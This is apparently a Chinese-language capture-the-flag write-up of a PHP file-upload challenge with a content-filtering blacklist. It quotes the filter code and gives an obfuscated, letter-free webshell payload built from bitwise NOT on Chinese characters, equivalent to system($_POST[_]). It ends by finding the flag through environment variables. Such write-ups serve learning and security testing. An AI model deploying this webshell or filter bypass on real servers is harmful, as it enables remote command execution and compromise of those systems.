有个文件上传,给了部分源码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
可以知道有waf,过滤文件内容,但是不知道具体过滤了哪些
简单试了一下,普通文件也无法上传成功,看来需要一些特殊的手法
要用到异或运算或者取反运算
一些不包含数字和字母的webshell | 离别歌
直接给payload
<?=$_=[];$_=($_===$_);$___=~区[$_].~册[$_].~区[$_].~勿[$_].~皮[$_].~针[$_];$____=~研[$_].~寻[$_].~尽[$_].~欢[$_].~立[$_];$___($$____[_]);
等价于
<?=system($_POST[_]);
查找flag
应该是题目问题,直接env打印环境变量